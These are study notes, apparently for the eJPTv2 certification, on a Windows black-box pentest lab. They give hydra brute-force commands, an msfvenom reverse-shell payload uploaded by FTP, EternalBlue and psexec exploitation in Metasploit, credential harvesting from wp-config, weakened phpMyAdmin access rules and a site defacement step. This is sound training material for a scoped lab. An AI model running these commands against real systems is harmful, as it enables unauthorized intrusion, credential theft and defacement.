> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/exploitation/exploits/windows.md). # Windows ## Windows Exploitation ### Windows Black Box Penetration Test * A Black box penetration test is a security assessment whereby the penetration tester is not provided with any information regarding the target system or network (No IP ranges, system information or default credentials are provided). * The objective of a Black box penetration test is to accurately test the security of a system or network as an external unprivileged adversary. * This approach is very useful as it demonstrates how an external attacker with no inside knowledge would compromise a company's system or networks. **Penetration Testing Phases** The following diagram outlines the various phases involved in a typical penetration test. \ **Black Box Methodology:** * Host discovery * Port Scanning & enumeration * Vulnerability detection/scanning * Exploitation * Manual * Automated * Post Exploitation * Privilege Escalation * Persistence * Dumping hashes
#### Scenario & Scope * You have just begun your first job as a Junior Penetration Tester and have been assigned to assist in performing a penetration test on a client's network. * The pentest lead has assigned you to gain access/exploit a host running Windows Server 2008. * Your primary objectives are: * Identify services running on the target. * Identify vulnerabilities within the services * Exploit these vulnerabilities to obtain initial foothold **NOTE: you are permitted to use the Metasploit Framework** *** ### Port Scanning & Enumeration * Check /etc/hosts for target * ping it to check if we can reach it. * run the nmap scan on it ``` nmap -sC -sV -PA -oX nmap_10k ``` * to import nmap results in msfconsole ``` > db_import /root/Desktop/nmap_10k ``` ``` > hosts ``` *** ### Targeting FTP * use nmap script to check anonymous login * use hydra to brute force ``` hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploits/uniz_passwords.txt ftp ``` ``` hydra -l -P /usr/share/wordlists/metasploits/uniz_passwords.txt ftp ``` > Administrator:: vagrant > > vagrant ``` msfvenom -p windows/shell/reverse_tcp lhost= port= -f asp > shell.aspx ``` ``` ftp > put shell.aspx ``` ``` msfconsole -q > set payload windows/shell/reverse_tcp > set LPORT > set LHOST ``` * deface the site by changing the Index.html *** ### Targeting OpenSSH ``` hydra -l vagrant -P /usr/share/wordlists/metasploit/unix_users.txt demo.ine.local ssh ``` > vagrant:: vagrant ``` ssh vagrant@demo.ine.local > ls > whoami ``` * use msfconsole to upgrade the shell * To use the windows command on SSH vagrant ``` bash cmd> net localgroup administrators cmd> whami /priv ``` *** ### Targeting SMB ``` nmap -sC -sV -p135,139,445 -oX SMB.nmap ``` ``` msfconsole -q > workspace -a SMB > db_import SMB.nmap > search type:auxiliary smb > use auxiliary/scanner/smb/smb_ms17_010 > set RHOSTS demo.ine.local > run > search type:exploit eternal > use exploit/windows/smb/ms17_010_eternalblue > exploit >>>> whoami >>>> sysinfo >>>> net localgroup administrators ``` DEMO of video ``` hydra -l administrator -P /usr/share/wordlists/metasploit/unix_users.txt demo.ine.local smb ``` > administrator :: vagrant\ > vagrant :: vagrant ``` smbclient -L demo.ine.local -U vagrant ``` ``` smbmap -u vagrant -p vagrant -H demo.ine.local ``` ``` enum4linux -u vagrant -p vagrant ``` ``` msfconsole -q > use auxiliary/scanner/smb/smb_enumusers > set RHOSTS > set SMBUser vagrant > set SMBPass vagrant > run ``` * PSEXEC python file /usr/share/doc/python3-impacket/examples/psexec.py ``` locate psexec.py cp /usr/share/doc/python3-impacket/examples/psexec.py . chmod +x psexec.py python3 psexec.py Administrator@ ``` ``` msfconsole -q > search psexec > use exploit/windows/smb/psexec > set payload windows/x64/meterpreter/reverse_tcp > set RHOSTS > set SMBUser Administrator > set SMBPass Vagrant > exploit >>>> sysinfo >>>> getuid ``` *** ### MySQL Database Server ``` nmap -sV -sC -p 3305,8585 demo.ine.local ``` ``` searchsploit MySQL 5.5 ``` ``` msfconsole -q > search type:auxiliary mysql > use auxiliary/scanner/mysql/mysql_login > set RHOSTS > set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt > run ``` > root: ''\` ``` mysql -u root -p -h > show databases; > ``` * open browser http\://\:8585 * open msfconsole and exploit the eternalblue * to find the mysql server password ``` >>>> cd C:\wamp\www\ >>>> cat wp-config ``` * to change the phpmyadmin password ``` >>>> cd C:\wamp\alias >>>> download phpmyadmin.conf ``` phpmyadmin.conf ``` vim phpmyadmin.comf delete "Order Deny, Allow" delete "Deny from all" change "Allow from 127.0.0.1" to "Allow from all" ``` ``` >>>> upload phpmyadmin.conf >>>> shell cmd> net stop wampapache cmd > net start wampapache ``` * http\://\:8585/phpmyadmin * wp\_users here you can edit admin password * function = md4, wp\_pass = password123 * http\://\:8585/wordpress/wp-admin